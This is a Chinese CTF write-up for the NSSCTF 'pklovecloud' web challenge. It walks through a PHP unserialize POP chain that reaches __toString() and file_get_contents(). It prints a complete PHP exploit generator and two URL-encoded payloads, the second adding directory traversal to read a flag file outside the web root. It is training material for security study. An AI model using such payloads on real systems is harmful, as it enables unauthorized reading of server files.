NSSCTF - Web | 【第五空间 2021】pklovecloud

🌟 关注这个靶场的其它相关笔记:CTF 练习平台 ------ NSSCTF · 过关思路合集

0x01:考点速览

本题考察的是 PHP 反序列化漏洞,与一般考题不同,此次的入口为 __toString() 函数,且大部分对象都没有 __construct() 类,所以需要我们手动在对象内部为其赋值。

0x02:Write UP

访问靶场,是一个代码审计,完整的 PHP 代码如下,没有涉及啥偏僻的函数:

php 复制代码
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
​
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  
​
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  
​
if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

下面开始烧脑分析,笔者我比较喜欢进行反向逆推,即首先确定我们最终的目标,然后从终点摸到起点(建议对着原始代码一行一行理解):

  1. 确定目标:ace::echo_name() => file_get_contents($file)$file = './flag.php'

  2. 要想满足条件一,我们需要让 ace::$filename = "flag.php"

  3. 继续回溯,要想执行 file_get_contents($file) 我们需要满足一个 if 条件:

    • if($this->openstack->neutron === $this->openstack->nova)

    • 突破口:$this->openstack->neutron = $heat;

      • $heat 变量未在当前文件出现过,因此我们可以推测其在 flag.php 文件中。

      • 值得注意的是,赋值发生在 echo_name() 函数中,在 PHP 中函数内部是无法直接访问函数外部定义的变量的,除非使用 global 关键字或参数传递,因此,上面这条语句会报一个错,即 $heat; 未定义。

      • 当 PHP 遇到一个未定义的变量时,它会发出一个 Notice 级别的错误,并将该变量视为 NULL

      • 因此上面的语句可以等价于 $this->openstack->neutron = NULL;

  4. 值确定了,那么下一个问题,哪个类中有 neutronnova 参数?

    • 答:acp() 类。 => 所以 $this->openstack = new acp();acp() 对象中的 $neutron$nova 均为 NULL,即不赋值即可。
  5. 我们又知道 $this->openstack = unserialize($this->docker); 所以我们可以确定 $docker 的值为:serialize(new acp());

  6. 至此,ace::echo_name() 函数分析完毕。

  7. 问题:如何调用 ace::echo_name() 函数?

    • 答:acp::__toString() 方法中的 return $this->cinder->echo_name()。我们需要确保 $this->cinder = new ace();
  8. 继续:如何调用 acp::__toString() 方法?即,什么时候 acp 对象会被当做字符串执行。

    • 答:echo $logData;$logData = unserialize(serialize(new acp()));

至此,整个 POP 链就构造完成了,下面就是开始编写利用代码,下面是完整的利用代码(看注释):

php 复制代码
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
​
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        // $this->cinder = new pkshow;
        $this->cinder = new ace;    // Step 2: 确保 $hits->cinder->echo_name() 调用 ace 对象中的函数
    }  
    function __toString()           // 当对象被当作字符串调用时触发,echo $acp;
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  
​
class ace
{    
    public $filename = "flag.php";     
    public $openstack;
    public $docker = 'O:3:"acp":3:{s:9:"\000*\000cinder";O:6:"pkshow":0:{}s:7:"neutron";N;s:4:"nova";N;}'; // Step 3.4: 这个值通过 echo serialize(new acp()); 获得
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker); // Step 3.3: 由于 neutron 与 nova 都是 acp 中参数,所以确定 $this->docker = serialize(new acp()),且 acp 中的这两个参数都不用赋值,保持 NULL 即可
        $this->openstack->neutron = $heat;                       // Step 3.1: $heat 不存在为 NULL
        if($this->openstack->neutron === $this->openstack->nova) // Step 3.2: $this->openstack->nova = NULL
        {
            $file = "./{$this->filename}";        // Step 4.1: 由于我们最终想要读取 ./flag.php 所以 $this->filename = flag.php
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  
​
// Step 1: 序列化 acp() 类,由于最终 Payload 通过 GET 方式传递,所以我们需要经过 URL 编码
$payload = serialize(new acp());  // 这个就是我们最终传递给 pks 的值
echo urlencode($payload);         // 打印 Payload
​
// if (isset($payload))  
// {
//     $logData = unserialize($payload);
//     echo $logData; 
// } 
?>

运行代码,拿到 Payload 直接传递给 pks 即可:

php 复制代码
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如上,得到提示,flag 位于根目录,这里我们只需要利用目录穿越漏洞,修改一下 ace::$filename 后重新生成 Payload 即可:

bash 复制代码
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如下,成功 GET Flag:

相关推荐
陆枫Larry5 分钟前
一次登录问题排查:接口没错,错的是旧业务逻辑
前端
小小小小宇11 分钟前
大模型打分与采样原理,以及 Pi Agent 核心原理
前端
一位正在转型AI全栈的前端工程师36 分钟前
AI 全栈学习之旅 -Week 5:RAG 知识库问答系统:从零到生产级部署的全栈实践总结
前端·python
用户69371750013841 小时前
曾经安卓开发人手一个的 EventBus,为什么现在没人爱用了?
android·android studio
光影少年1 小时前
react navite 安卓iOS 打包、签名、环境区分
前端·react native·react.js
coderCN1 小时前
Nodejs 第三十四章 数据库(表达式和函数、子查询和连表)
前端·node.js
ssshooter2 小时前
AI 时代你不能不知道的 git worktree
前端·后端·面试
观测云2 小时前
AI时代的用户访问监测:观测云带你身临其境体验用户与前端UI交互旅程
前端·可观测性·观测云·rum
喵本喵叁肆2 小时前
06-M6-部门过滤与综合研判-从问答机到研判助手
前端·javascript·jquery
九皇叔叔3 小时前
MySQL ORDER BY 性能优化详解:Using filesort、联合索引、ASC/DESC 与覆盖索引
android·adb